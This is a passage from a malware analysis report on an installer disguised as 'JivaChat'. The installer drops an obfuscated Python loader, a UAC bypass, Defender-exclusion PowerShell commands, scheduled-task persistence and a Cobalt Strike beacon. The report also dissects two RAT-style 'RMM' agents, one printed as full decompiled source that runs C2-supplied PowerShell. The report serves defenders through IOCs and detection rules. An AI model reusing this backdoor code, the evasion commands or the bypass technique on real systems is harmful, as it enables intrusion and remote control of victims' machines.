no match   Software\Microsoft\Windows\CurrentVersion\Run

The fifth method is a scheduled task. The file agent registers it through PowerShell with Register-ScheduledTask and an -AtLogon trigger for the current user. persist:remove undoes persistence and reports back with persist:remove_result,. For the task, it runs Unregister-ScheduledTask -TaskName '…' -Confirm:$false.

Now You See Me, Now You Don’t

The second payload in this intrusion chain hid behind a name that sounded like an SDK update and came wrapped in more layers than most payloads ship with.

The Installer: JivaChat

The outermost wrapper is an Inno Setup 6.7.0 installer masquerading as a chat application:

AppName=JivaChat
AppVersion=9.973.64355
AppId={47d926d0-ff9e-494d-b9b9-81872e4e07cb}
AppPublisher=Jiva SDK Organization
AppPublisherURL=https://jiva.jp/jiva-chat/about

The [Files] section ships two items: 7za.exe and data.7z. The script decompiled from the setup binary tells the rest. On ssDone, it calls 7za.exe x "data.7z" -pUvcPOTe0zv5Y8j30 -o"<ExtractDir>" -y -aoa, then immediately launches {ExtractDir}\pythonw.exe "{ExtractDir}\main.pyw" without waiting (ExecWait value 0).

Inno Setup installer Pascal script

Stage 1: main.pyw

main.pyw is 149 lines. Line 17 is a single 2.9 MB ciphertext blob. Everything else is logic that fits in about 130 lines of readable code, except it has been deliberately made unreadable.

Two obfuscation layers stack on top of each other. The first aliases every primitive operator to a one-letter lambda:

b2 = lambda j3, k3: j3 & k3   # AND
c2 = lambda l3, m3: l3 << m3  # SHL
d2 = lambda n3, o3: n3 - o3   # SUB
e2 = lambda p3, q3: p3 >> q3  # SHR
f2 = lambda r3, s3: r3 | s3   # OR
l2 = lambda t3, u3: t3 + u3   # ADD
m2 = lambda v3, w3: v3 ^ w3   # XOR
h3 = lambda x3: not x3

The second builds every identifier and string constant from chr() calls with \x01 filler characters stripped by .replace(chr(1), ''):

j = __import__((chr(98)+chr(117)+chr(1)+chr(105)+chr(108)+chr(116)+chr(1)+chr(105)+
                chr(1)+chr(110)+chr(1)+chr(115)+chr(1)).replace(chr(1),''), ...)
# → __import__('builtins', ...)

This way there are no string literals in the file that a scanner can match against builtins, marshal, os, struct, sys, or ctypes. The same technique applies to every function call, attribute access, and format string throughout the script.

Single-instance mutex and the elevation escape hatch

Before any decryption, the loader calls CreateMutexA with the name 99063dccf5b675ab2ca3d974066a1a8c. If the mutex already exists (GetLastError() == ERROR_ALREADY_EXISTS) and the environment variable 66F8D5619DC12524 is not set to 1, the process exits. That variable is the signal from the elevated relaunch, which we will get to in Stage 2 - that a second copy is intentional, without it the duplicate instance dies.

Key derivation: brute force as obfuscation

The embedded ciphertext on line 17 is encrypted with standard ChaCha20 (Sigma constants unchanged, 20 rounds, counter starting at 0). The key is not stored anywhere in the file.

Embedded ciphertext on line 17 (main.pyw)

Instead, the script holds three constants:

Name Value
s (salt) 0c5c8ed1bf5045868ccb573a18a5c6a61a0c5c92847a9beb (24 bytes)
i1 (nonce) fb3ba93aaf431aacd1404389 (12 bytes)
k1 (known plaintext) e30000000000000000000000001100000000000001 (21 bytes)

k1 is the CPython 3.12 marshal file header - the magic 0xe3, a co_argcount of zero, flags, etc. Every Python code object serialised by marshal starts with this exact sequence. The loader uses it as a known-plaintext oracle. The actual key is ("%08d" % f).encode() + s - an 8-digit decimal string left-padded with zeros, then the 24-byte salt appended, giving a 32-byte key. The script counts f down from 99,999,999:

f = t1  # 99999999
while f >= 0:
    z = b'%08d' % f
    a1 = z + s
    w1 = q(a1, i1, 0)       # one ChaCha20 block
    k = True
    for g in range(h1):     # h1 = 21
        if m2(m[g], w1[g]) != f1[g]:   # m1[:21] ^ w1[:21] must equal k1
            k = False; break
    if k:
        r1 = a1; break
    f -= 1

The correct value is 99884509 (115,490 iterations from the top). The brute force is a way to keep the key out of the file entirely while keeping the correct value recoverable. Once found, the key is written to a cache file named ExKQc.lhf in the same directory as pythonw.exe. On the next run the script reads ExKQc.lhf first and skips the brute force entirely.

Decryption and execution

With the key resolved, the loader decrypts the full 1,007,264-byte blob with chacha20(r1, i1, m1) and passes the result to marshal.loads, then exec. The decrypted object is a CPython 3.12 code object for a module named pe_loader_x64.py.

Stage 2: pe_loader_x64.py - UAC Bypass, Persistence, and Reflective Loading

The inner module is 72 code objects. The same chr() and lambda obfuscation applies throughout the code.

Snippet of reconstructed pe_loader_x64.py from bytecode

UAC bypass via APPINFO RPC

The loader checks IsUserAnAdmin() first. If it is already elevated, this section is skipped. If not, it builds a local RPC binding and calls into the Windows Application Information service. The APPINFO interface GUID is 201ef99a-7fa0-444c-9399-19ba84f12a1a. This is the RAiLaunchAdminProcess interface - the same interface that the Windows UAC consent flow itself uses. Invoking it from user space with the right arguments causes Windows to auto-elevate a binary that carries a matching auto-elevation manifest entry, without showing a UAC prompt.

The binding is built with RpcStringBindingComposeW over ncalrpc (local procedure call), then hardened with RpcBindingSetAuthInfoExW to set identity and impersonation. The NDR transfer syntax is 8a885d04-1cec-4879-a544-1b2bdcd424dc, and the call goes through NdrAsyncClientCall to the APPINFO endpoint. Two auto-elevating Microsoft binaries are tried in order: winver.exe and computerdefaults.exe and both carry autoElevate: true in their manifests, making them valid targets.

Rather than discarding the elevated process, the loader re-uses its handle as the parent for the next pythonw.exe launch. The mechanism is:

  • The auto-elevated binary is spawned with CreateProcessW and immediately debugged (DEBUG_PROCESS).
  • WaitForDebugEvent yields a CREATE_PROCESS_DEBUG_INFO event whose hProcess field is a full-access handle to the elevated process.
  • The debug object is detached: NtDuplicateObject copies the debug-object handle, then NtRemoveProcessDebug and NtClose remove and close it. The elevated binary is now running freely.
  • A new pythonw.exe is started with InitializeProcThreadAttributeList / UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) pointing at the elevated handle. The child inherits its token.
  • env['66F8D5619DC12524'] = '1' is set in the child’s environment block so the mutex bypass fires.
pythonw.exe (user) -> [APPINFO RPC] -> winver.exe (elevated, as debuggee)
                   -> [NtRemoveProcessDebug] -> winver.exe (elevated, free)
                   → [UpdateProcThreadAttribute] -> pythonw.exe (elevated parent)

Defender exclusions

Before anything touches disk, a PowerShell command is run hidden to suppress Defender scanning:

Add-MpPreference -ExclusionPath '<install dir>' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue

Persistence

A scheduled task named MultiUpdater is registered. The task XML is written as UTF-16 to %TEMP%\begvivn.mgk, then registered with:

schtasks /Create /F /TN MultiUpdater /XML %TEMP%\begvivn.mgk

The temp file is deleted immediately after. The task trigger is AtLogon for the current user. When elevated, the task principal uses HighestAvailable; without elevation it falls back to LeastPrivilege.

Loading lMiMWML.zic

pe_loader_x64.py includes a complete reflective PE loader written in pure Python ctypes: _copy_sections, _perform_relocations, _build_imports, _finalize_sections, _execute_tls, and call_entry. A vectored exception handler is registered before loading to catch any access violations during section mapping. The loader opens lMiMWML.zic from the same directory as main.pyw, decrypts it with a hardcoded ChaCha20 key and nonce, and passes the result to the loader:

Field Value
Key e2b0ac4fb732e5de32c71a627c7f8957ef633c9b7e821f8094db5993a03b5b89
Nonce 50c3cef2a53f003729ecf25a
Counter 0 (standard)
Sigma expand 32-byte k (standard)

Stage 3: lMiMWML.zic - Environment Gating Wrapper

The decrypted output is a MinGW x64 PE. Its imports are ADVAPI32 (four registry functions), KERNEL32 (twenty functions), and msvcrt. Its .data section begins with a 20-byte header followed by an encrypted beacon. One detail worth noting, the loader resolves the IAT through LdrLoadDll and LdrGetProcedureAddress rather than LoadLibraryW and GetProcAddress.

Three gates before the Cobalt Strike runs

Environment gate dispatcher

Three functions run in sequence, and the beacon only executes if all three pass:

Gate 1 - temp directory file count: GetTempPathW retrieves %TEMP%. A recursive FindFirstFileW and FindNextFileW walk counts every file in that tree. If the count is zero (i.e., no files exist in the temp directory at all), the process exits. A freshly provisioned sandbox or clean VM with no prior activity fails this check.

Gate 2 - installed software count: RegOpenKeyExW(HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall) opens the standard uninstall key. RegEnumKeyExW counts the subkeys. If fewer than 2 are present, the process exits.

Gate 3 - installed software depth with memory check: The Uninstall key is walked again, this time reading DisplayName from each subkey via RegQueryValueExW. Separately, GlobalMemoryStatus and GetNativeSystemInfo check physical memory and processor configuration. The function returns the count of subkeys that carry a non-empty DisplayName. If that count is 2 or below, the process exits.

The inner cipher: position-dependent rotation

The Cobalt Strike beacon payload starts at .data + 0x14 and is 0x4b000 (307,200) bytes long. The cipher is:

plaintext[i] = ROR8(ciphertext[i], (i + 1) & 3)

Encrypted Cobalt Strike payload

The rotation count cycles 1, 2, 3, 0 per byte index. Every fourth byte (where (i+1) & 3 == 0) is copied unchanged.

Position-dependent ROR cipher

The output is placed in a VirtualAlloc(NULL, 0x4b000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) buffer and called directly via function pointer.

Decrypt CS payload into RWX memory, execute via call rax

Stage 4: Cobalt Strike Beacon

The decrypted payload is a Cobalt Strike beacon DLL (with ReflectiveLoader export present). The configuration block sits at file offset 0x44440, XOR-encoded with 0x2e .

Cobalt Strike config block

Decrypted config:

{
  "beacon_type": "8 - HTTPS",
  "c2": "45.94.31[.]112",
  "port": 443,
  "get_uri": "/api/v3/r",
  "post_uri": "/api/v3/s",
  "sleep_ms": 30000,
  "jitter_pct": 15,
  "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; en-US; rv:119.0) Gecko/20100101 Firefox/119.0",
  "spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
  "spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
  "injection_method": "allocation method 1, RWX",
  "build_timestamp": "2023-09-06",
  "watermark": 987654321,
  "watermark_hash": "NtZOV6JzDr9QkEnX6bobPg=="
}

Pivoting on Cobalt Strike C2 45.94.31[.]112 on Censys we could see an interesting CN on the exposed RDP: flowing-foam. Watermark 987654321 dominates public Cobalt Strike beacon datasets with over 135,000 recorded occurrences across nearly 500 distinct IPs, suggesting it represents a widely reused cracked or pirated copy of the framework shared across different threat actors. It has previously been associated with the IcedID malware botnet and the Dagon Locker ransomware gang, and is historically linked to beacons dropped by the Qakbot botnet. The watermark appears consistently across Cobalt Strike versions 4.7, 4.8, and 4.9, accounting for the highest sample counts in each.

The watermark does not identify the specific operator, but it places this beacon within a large pool of commodity infrastructure using the same builder, rather than a licensed or custom-built deployment.

ReflectiveLoader: no customisation

Inside the ReflectiveLoader function, the beacon base address is located by hunting backward from RIP for two hardcoded magic values baked directly into the .text section as plaintext immediates:

"AAAAAAAA"
"BBBBBBBB"

These are the Malleable C2 profile’s magic_mz and magic_pe defaults. A configured operator would replace them with something custom to break signature detection but here they are untouched. The combination of stock ReflectiveLoader, default magic bytes, watermark 987654321, and unmodified build timestamp suggests minimal operator customization.

Remote Double Agent or RemoteAgentAgent

The installer script that RemoteAgent.msi executes tells most of the story. install_service.ps1 drops RemoteAgentAgent.exe into C:\Program Files\RemoteAgent, registers it as a Windows service via NSSM under LocalSystem, passes it AGENT_CONFIG_PATH pointing at a JSON config containing the C2 URL and a registration key, and starts it with --service. The config defaults from the script:

endpoint_url     = hxxps://app-af-agent-prod-009.azurewebsites[.]net
registration_key = demo-key-123
device_name      = %COMPUTERNAME%
poll_interval    = 10 seconds

The binary itself is a PyInstaller 2.1+ bundle packing a CPython 3.11 runtime and a single entry-point script, agent_service.py, compiled to .pyc. There is no obfuscation, no packing beyond PyInstaller’s own zlib compression, thankfully, so we could understand the full logic of the payload.

The bootloader unpacks everything to a temporary directory at runtime (or a fixed one if pyi-runtime-tmpdir is set), initializes an isolated CPython interpreter, and calls agent_service.py’s __main__ block.

agent_service.py - Reconstructed Logic

The script is decompiled with pycdc. The three functions where pycdc’s Python 3.11 with-block and exception-handler rendering is incomplete, load_config, execute_command, and poll_loop, were resolved directly from bytecode. Everything below is a pretty accurate decompiled source:

import json
import os
import subprocess
import sys
import time
from datetime import datetime
from pathlib import Path
import requests

CONFIG_PATH = Path(os.getenv('AGENT_CONFIG_PATH',
                              r'C:\Program Files\RemoteAgent\config.json'))


def load_config():
    if not CONFIG_PATH.exists():
        template_path = CONFIG_PATH.with_name('config.json.template')
        if template_path.exists():
            CONFIG_PATH.parent.mkdir(parents=True, exist_ok=True)
            CONFIG_PATH.write_text(
                template_path.read_text(encoding='utf-8'),
                encoding='utf-8',
            )
        else:
            raise FileNotFoundError(f'Config file not found: {CONFIG_PATH}')
    with CONFIG_PATH.open('r', encoding='utf-8-sig') as f:
        return json.load(f)


def ensure_config_template():
    example = {
        'endpoint_url':          'hxxps://your-app.azurewebsites[.]net',
        'registration_key':      'demo-key-123',
        'device_name':           'WIN-AGENT-01',
        'device_id':             '',
        'poll_interval_seconds': 10,
    }
    return example


def register_device(cfg):
    endpoint = cfg['endpoint_url'].rstrip('/')
    response = requests.post(
        f'{endpoint}/api/register',
        json={
            'name':             cfg['device_name'],
            'platform':         'windows',
            'version':          '1.0.0',
            'registration_key': cfg['registration_key'],
        },
        timeout=30,
    )
    response.raise_for_status()
    data = response.json()
    cfg['device_id'] = data['device_id']
    CONFIG_PATH.parent.mkdir(parents=True, exist_ok=True)
    with CONFIG_PATH.open('w', encoding='utf-8') as f:
        json.dump(cfg, f, indent=2)
        f.write('\n')


def fetch_commands(cfg):
    endpoint = cfg['endpoint_url'].rstrip('/')
    response = requests.get(
        f'{endpoint}/api/commands',
        params={'device_id': cfg['device_id'], 'status': 'pending'},
        timeout=30,
    )
    response.raise_for_status()
    return response.json().get('commands', [])


def execute_command(command):
    cmd_text = command.get('command', '')
    start = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
    try:
        completed = subprocess.run(
            ['powershell', '-NoProfile', '-ExecutionPolicy', 'Bypass',
             '-Command', cmd_text],
            capture_output=True,
            text=True,
            shell=False,
            timeout=300,
        )
        return {
            'status':      'completed' if completed.returncode == 0 else 'failed',
            'stdout':      completed.stdout,
            'stderr':      completed.stderr,
            'exit_code':   completed.returncode,
            'started_at':  start,
            'finished_at': datetime.utcnow().isoformat(timespec='seconds') + 'Z',
        }
    except Exception as exc:
        return {
            'status':      'failed',
            'stdout':      '',
            'stderr':      str(exc),
            'exit_code':   1,
            'started_at':  start,
            'finished_at': datetime.utcnow().isoformat(timespec='seconds') + 'Z',
        }


def send_result(cfg, command_id, payload):
    endpoint = cfg['endpoint_url'].rstrip('/')
    response = requests.post(
        f'{endpoint}/api/commands/{command_id}/result',
        json=payload,
        timeout=30,
    )
    response.raise_for_status()
    return response.json()


def poll_loop():
    cfg = load_config()
    if not cfg.get('device_id'):
        register_device(cfg)
    while True:
        try:
            commands = fetch_commands(cfg)
            for command in commands:
                result = execute_command(command)
                payload = {
                    'status':    result['status'],
                    'stdout':    result['stdout'],
                    'stderr':    result['stderr'],
                    'exit_code': result['exit_code'],
                }
                send_result(cfg, command['id'], payload)
        except requests.HTTPError as exc:
            if exc.response is not None and exc.response.status_code == 404:
                cfg['device_id'] = ''
                register_device(cfg)
            else:
                print(f'[agent] error: {exc}', flush=True)
        except Exception as exc:
            print(f'[agent] error: {exc}', flush=True)
        time.sleep(int(cfg.get('poll_interval_seconds', 10)))


if __name__ == '__main__':
    if '--service' in sys.argv:
        poll_loop()
    else:
        print('Remote agent started in foreground mode.')
        poll_loop()

C2 Protocol

All traffic goes to the single endpoint configured in config.json - in this deployment, hxxps://app-af-agent-prod-009.azurewebsites[.]net. Four REST calls make up the full protocol surface:

Registration - POST /api/register

Fires on first run (empty device_id) or when /api/commands returns 404 (device no longer known to the server). The server responds with a JSON body containing device_id, which gets written back to config.json on disk.

POST /api/register HTTP/1.1
Host: app-af-agent-prod-009.azurewebsites[.]net
Content-Type: application/json

{
  "name":             "<COMPUTERNAME>",
  "platform":         "windows",
  "version":          "1.0.0",
  "registration_key": "demo-key-123"
}

The registration_key is the gate controlling which hosts can register.

Command Polling - GET /api/commands

Called every poll_interval_seconds (default 10). Returns a list of pending commands for this device.

GET /api/commands?device_id=<id>&status=pending HTTP/1.1
Host: app-af-agent-prod-009.azurewebsites[.]net

Command Execution

Each "command" value from the poll response goes directly into:

subprocess.run(
    ['powershell', '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', cmd_text],
    capture_output=True, text=True, shell=False, timeout=300,
)

Whatever the server sends in "command" executes as PowerShell with ExecutionPolicy Bypass.

Result Reporting - POST /api/commands/{id}/result

stdout, stderr, exit_code, and ISO 8601 timestamps go back immediately after the subprocess returns.

POST /api/commands/<cmd_id>/result HTTP/1.1
Host: app-af-agent-prod-009.azurewebsites.net
Content-Type: application/json

{
  "status":    "completed" | "failed",
  "stdout":    "<captured stdout>",
  "stderr":    "<captured stderr>",
  "exit_code": <int>
}

RMMCRAT

rmm.exe is a custom C++ payload masquerading as a Remote Monitoring and Management agent. Structurally it resembles a purpose-built RMM product, Windows service installation, TOML configuration, token-based authentication, DPAPI credential storage, and SHA-256 package integrity verification but every capability it provides serves offensive objectives: full host fingerprinting on every beacon, operator-controlled task execution including remote payload delivery (run_package) and remote shutdown (stop_agent), and a server-side kill switch. String encryption via a splitmix64 keystream, dynamic API resolution through encrypted GetProcAddress chains.

For successful execution artefacts, you would look for C:\ProgramData\RMMAgent\, which includes agent.log, a DPAPI-protected credentials.dat holding the issued bearer token, a DPAPI-protected client_id.bin holding the device UUID.

String Obfuscation

Every string literal in the binary is encrypted. The cipher is a splitmix64 keystream XOR applied in one of two modes depending on string type:

Wide strings:

keystream_word = splitmix64(seed) >> 48
wide_char[i]  ^= keystream_word

Byte strings (all other strings - paths, HTTP endpoints, JSON keys, log messages, config keys):

keystream_byte = splitmix64(seed) >> 33  (low byte)
byte[i] ^= keystream_byte

The splitmix64 state advances once per character consumed. Each encrypted string carries its own hardcoded seed constant in the surrounding code. There is no shared key table:

splitmix64 keystream decryption

Dynamic API Resolution

The binary loads all Win32 APIs at startup via GetProcAddress calls where every string, both DLL names and function names, is individually encrypted with splitmix64 and decrypted at runtime. Static analysis tools see only LoadLibraryW and GetProcAddress in the PE import table.

DLL names are encrypted as UTF-16LE wide strings (splitmix64 keystream >> 48, XOR two bytes at a time). Function names are encrypted as narrow byte strings (splitmix64 keystream >> 33, XOR one byte at a time) and decrypted inside 78 individual one-function-per-API stub functions, each carrying its own hardcoded seed.

The ten DLLs loaded (all names encrypted):

kernel32.dll advapi32.dll winhttp.dll crypt32.dll bcrypt.dll iphlpapi.dll ws2_32.dll netapi32.dll rpcrt4.dll shell32.dll

All 77 resolved function names (decrypted):

DLL Functions
kernel32 CreateEventW, CreateProcessW, DeviceIoControl, ExitProcess, FreeConsole, GetCommandLineW, GetComputerNameExW, GetCurrentProcessId, GetDiskFreeSpaceExW, GetDriveTypeW, GetExitCodeProcess, GetLogicalDrives, GetModuleFileNameW, GetStdHandle, GetSystemWindowsDirectoryW, GetTempPathA, GetTempPathW, GetUserNameW, GetVolumeInformationW, LocalFree, MultiByteToWideChar, SetConsoleCtrlHandler, SetEvent, SetUnhandledExceptionFilter, Sleep, TerminateProcess, WaitForSingleObject, WideCharToMultiByte, WriteConsoleW
advapi32 ChangeServiceConfig2W, CloseServiceHandle, CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, RegCloseKey, RegCreateKeyExW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, RegisterServiceCtrlHandlerExW, SetServiceStatus, StartServiceCtrlDispatcherW
winhttp WinHttpCloseHandle, WinHttpConnect, WinHttpOpen, WinHttpOpenRequest, WinHttpQueryDataAvailable, WinHttpQueryHeaders, WinHttpReadData, WinHttpReceiveResponse, WinHttpSendRequest, WinHttpSetOption, WinHttpSetTimeouts
crypt32 CryptProtectData, CryptUnprotectData, CertCloseStore, CertOpenStore
bcrypt BCryptCloseAlgorithmProvider, BCryptCreateHash, BCryptDecrypt, BCryptDestroyHash, BCryptFinishHash, BCryptGenRandom, BCryptGenerateSymmetricKey, BCryptHashData, BCryptOpenAlgorithmProvider, BCryptSetProperty
iphlpapi GetAdaptersAddresses
ws2_32 inet_ntop
netapi32 NetApiBufferFree, NetGetJoinInformation
rpcrt4 RpcStringFreeA, UuidCreate, UuidToStringA
shell32 SHGetFolderPathW
ntdll RtlGetVersion

Command-Line Interface That Doesn’t Exist

The binary is compiled as IMAGE_SUBSYSTEM_WINDOWS_GUI, not as a console application. This means it receives no console handle when launched from cmd.exe or PowerShell: stdout, stdin, and stderr are all INVALID_HANDLE_VALUE.

But the following flags were recovered by decrypting the wide-string argument table:

The GUI subsystem choice is deliberate: the binary produces no console window when launched by the Service Control Manager, and resists casual interactive probing - -h appearing to do nothing makes it look non-functional to an analyst running it from the command line.

The full help text recovered from the binary:

RMM Agent 1.0.0 — Remote Monitoring & Management client

Usage: rmm_agent [options]

Options:
  -c, --config <path>       Configuration file (default: agent.conf next to the exe)
      --install-service     Register the agent as a Windows service
      --uninstall-service   Remove the Windows service
      --service             Run under the Service Control Manager
  -v, --version             Print version and exit
  -h, --help                Show this help

Configuration is fully standalone: values compiled into the binary (build_config.h)
or embedded into this EXE by the server's Generate Client flow are used when no
config file exists. Optional agent.conf and RMM_* environment variables override them.

Service metadata (decrypted):

  • Service name (SC key): RMMAgent
  • Display name: RMM Agent

On install, the binary logs: Service '%s' installed. Start it with: sc start %s

Configuration

The agent supports a flat key=value config file (agent.conf by default, in the same directory as the executable). At startup it first attempts to read config from a stdin pipe (ReadFile(handle=0, buf, 0x8000)), then falls back to <exe_dir>\agent.conf. If neither is present, it uses values compiled directly into the binary by the C2’s client generator at build time.

All config keys are encrypted strings; the following were fully decrypted

Config Key Default Description
SERVER_URL C2 base URL (required)
REGISTRATION_TOKEN Pre-shared key sent in registration body
HEARTBEAT_INTERVAL 30 s Poll interval (clamped 5–3600 s)
REQUEST_TIMEOUT 300 s HTTP timeout (clamped 10–3600 s)
MAX_RETRY_DELAY 15 000 ms Maximum reconnect backoff
AGENT_VERSION 1.0.0 Version string reported to server
LOG_LEVEL info Log verbosity
CONSOLE_LOG (bool) Mirror logs to stdout
ALLOW_HTTP (bool) Permit plain HTTP connections
DEV_MODE (bool) Development mode flag
INSECURE_DEV_ALLOW_SELF_SIGNED (bool) Skip TLS certificate validation
TRUSTED_CA_FILE Path to custom CA bundle
SERVICE_NAME RMMAgent SC service key name
SERVICE_DISPLAY_NAME RMM Agent SC display name

Log files written to the executable’s directory:

  • agent.log - primary structured log
  • crash.log - exception/crash output

Embedded Configuration (RMMC Blob)

The C2 URL and runtime settings are appended to the end of the PE file as a plaintext blob preceded by a structured RMMC header.

Header structure (16 bytes):

Offset Size Value Description
+0 4 bytes 52 4D 4D 43 Magic: RMMC
+4 4 bytes 01 00 00 00 Version: 1
+8 4 bytes CD 00 00 00 Payload length: 205 bytes
+12 4 bytes 00 00 00 00 Reserved

Payload (205 bytes, plaintext, immediately follows header):

# RMM Agent embedded configuration (standalone build)
SERVER_URL=hxxps://softbymade[.]top
REGISTRATION_TOKEN=r4iZqA7PmI1GDu0wlnvB1yB2sWDRrb5KYSRq9uCb7UI
HEARTBEAT_INTERVAL=30
LOG_LEVEL=info
CONSOLE_LOG=true

Registration

On first run (or after a token cache miss), the agent registers with the C2: Request:

POST hxxps://softbymade[.]top/api/v1/agents/register
Content-Type: application/json

{
  "name":               "<hostname>",
  "platform":           "<os_name>",
  "version":            "<AGENT_VERSION>",
  "registration_key":   "<REGISTRATION_TOKEN config value>"
}

The infected machine sends out the registration token value r4iZqA7PmI1GDu0wlnvB1yB2sWDRrb5KYSRq9uCb7UI and then receives the response from C2:

{ "agent_token": "<bearer token>" }

The token is written to credentials.dat (DPAPI-protected, described below) and reused on subsequent runs. On 401/403 the agent discards the cached token and re-registers. A missing agent_token field in the response produces "server returned no agent token." and registration is retried with backoff.

On success: "registration successful, token stored."
On failure: "registration failed: <error> (retrying with backoff)"

Confirmed from agent.log:

[2026-09-03T11:16:03Z] [INFO] registering with server hxxps://softbymade[.]top
[2026-09-03T11:16:04Z] [INFO] registration successful, token stored

Heartbeat and Task Polling

After successful registration, the agent begins its heartbeat loop. On each iteration:

  1. Sends heartbeat with full machine fingerprint:
POST hxxps://softbymade[.]top/api/v1/agents/heartbeat
Authorization: Bearer <agent_token>
Content-Type: application/json

{
  "machine_fingerprint": {
    "client_id":           "<uuid>",
    "hostname":            "<hostname>",
    "username":            "<current user>",
    "domain":              "<domain>",
    "os_name":             "<OS name>",
    "os_version":          "<OS version>",
    "architecture":        "<x86/x64/...>",
    "cpu_model":           "<CPU model string>",
    "cpu_cores":           <int>,
    "cpu_threads":         <int>,
    "ram_total":           <bytes>,
    "ip_addresses":        [...],
    "mac_addresses":       [...],
    "disks": [
      {
        "letter":     "<drive letter>",
        "drive_type": "<type>",
        "total":      <bytes>,
        "free":       <bytes>,
        "used":       <bytes>,
        "percent":    <float>,
        "media_type": "<HDD|SSD|...>"
      }
    ],
    "agent_version":       "<version>",
    "registration_token":  "<token hash>"
  }
}
  1. Parses response for two keys:
    • "disabled" - if true, agent logs "agent is disabled by the administrator; entering idle mode." and enters an idle sleep loop (retries every 5 s × 10 attempts)
    • "tasks" - array of pending task objects to execute
  2. Sleeps for HEARTBEAT_INTERVAL seconds (default 30 s) using a cancellable wait, then loops.

Task Execution

Pending tasks received in the heartbeat response body are queued and dispatched. Each task carries a task_id. If the task queue is full, the agent logs "task queue full." and the task is dropped.

The following task types were confirmed from agent.log:

[2026-09-03T11:22:36Z] [INFO] [client=09aa855e-3faa-4790-8b5e-77232346d6ac] executing task type=run_package task_id=4f2ec212-850d-4a92-b2a5-44abc9448374
[2026-09-03T11:22:36Z] [INFO] [client=09aa855e-3faa-4790-8b5e-77232346d6ac] downloading package id=e8a4d894-92f0-4526-983e-78c0019980a9 name=Notepad++ size=1234708 -> C:\ProgramData\RMMAgent\packages\Notepad++.exe
[2026-09-03T11:22:37Z] [ERROR] [client=09aa855e-3faa-4790-8b5e-77232346d6ac] task failed task_id=4f2ec212-850d-4a92-b2a5-44abc9448374 error=SHA-256 mismatch: expected 1ae99bb062fdf312918797f16e40c1505e0a017d2ef1e914606e84cf31c4bee4 got f3d0639aebb5d21f3635b9a36edd358af21d0e36c99b4bc98f7366ec74211b4f

The package was named Notepad++ as a masquerade. The SHA-256 mismatch indicates either a corrupted download or server-side error; the payload was never executed on the machine.

Credential Storage (DPAPI)

The agent persists two values to disk in the executable’s working directory, both protected using the Windows Data Protection API (CryptProtectData / CryptUnprotectData via crypt32.dll).

Both files use CRYPTPROTECT_LOCAL_MACHINE scope (dwFlags = 0x4), meaning any process running as SYSTEM on the same machine can decrypt them — the RMMAgent service runs as LocalSystem and therefore always has access. The files are opaque to non-SYSTEM processes, including low-privilege analysis or AV sandboxes.

client_id.bin

Stores the device UUID generated on first run and used as the stable client_id in every heartbeat.

credentials.dat

Stores the bearer token issued by the server on registration. The plaintext before encryption is:

agent_token=<bearer token value>

The agent reads this file at startup to skip re-registration. On a fresh registration it writes a new value.

DPAPI blob structure

Both files share an identical DPAPI layout. Annotated hex for client_id.bin:

01 00 00 00                          dwVersion = 1
D0 8C 9D DF 01 15 D1 11
8C 7A 00 C0 4F C2 97 EB              guidProvider (Microsoft Base Crypto Provider)
01 00 00 00                          dwMasterKeyVersion = 1
B5 97 90 FD 03 82 5B 40
B9 DD 6E 2E BD 39 79 95              guidMasterKey = {fd9097b5-8203-405b-b9dd-6e2ebd397995}
04 00 00 00                          dwFlags = CRYPTPROTECT_LOCAL_MACHINE
12 00 00 00                          cbDescription = 18
52 00 4D 00 4D 00 41 00
67 00 65 00 6E 00 74 00 00 00        szDescription = "RMMAgent" (UTF-16LE)
03 66 00 00                          algId = 0x6603 (3DES)
C0 00 00 00                          algHashId
10 00 00 00                          cbSalt = 16
53 52 9E 93 FB 44 01 47
6F A1 2C 9F 0D 6C 23 7C              pbSalt (16 random bytes, unique per encryption)
00 00 00 00                          cbHmac = 0
04 80 00 00                          cbAlgParam
A0 00 00 00
10 00 00 00
FD 77 89 5B 22 8D C6 46
4D 38 97 AB 2C 6E D1 2C              (alg param block)
28 00 00 00                          cbCipherText = 40
33 04 F3 DF 40 69 B4 6C
77 7E 3E 4C 9C 85 5A 41
C3 BD 53 EF C7 B4 22 D3
02 E2 C6 E9 70 57 14 70
9A 70 9A 1D 62 9E 94 0E              pbCipherText (40 bytes — the encrypted payload)
14 00 00 00                          cbComment = 20
27 44 FF 2E 2C 48 33 79
44 D6 76 2E 6B D5 83 F7
41 E4 86 42                          pbComment (HMAC integrity tag)

The actual payload - client_id=... is the 40-byte ciphertext block. The remaining 154 bytes are the fixed DPAPI envelope: provider identity, master key pointer, description label, random salt, and HMAC tag.

Yara Rules

PavokwiLoader

PavokwiLoader.yar

RMMCRAT

rmmcrat.yar

Indicators of Compromise

Indicator Type Description
RemoteAgentAgent.exe (PyInstaller RMM)    
e678dcc13c0e9fca5713fb9ddfdbb7f4304ae47b1832725f22df5288edce3dab SHA256 main.pyw
3ef451c669cdffc1415e6a816c141f3d7f1a560ba7f2f2bddb734c55e2228788 SHA256 lMiMWML.zic (encrypted payload)
6ee5b6da19809fbb7626aae42e0de904389ca7422463a168c8276cbef40b9e51 SHA256 pe_loader_x64.py (decrypted marshal)
f9642deb87a32987e0514530a4507137d2dfc856cd8ed1f15b7522b83b2c634f SHA256 Gating wrapper (decrypted .zic)
28273fcde296082f6194f6b863b4fd67cddc645339b4416ac3d302495cb1b389 SHA256 Cobalt Strike beacon
45[.]94[.]31[.]112 IPv4 Cobalt Strike beacon C2
hxxp://45[.]94[.]31[.]112/api/v3/r URI Beacon GET URI
hxxp://45[.]94[.]31[.]112/api/v3/s URI Beacon POST URI
MultiUpdater String Scheduled task name
%TEMP%\begvivn[.]mgk Path Persistence XML temp file
\ExKQc[.]lhf Path Key cache file
987654321 Integer Cobalt Strike watermark
rmm.exe (RMMCRAT)    
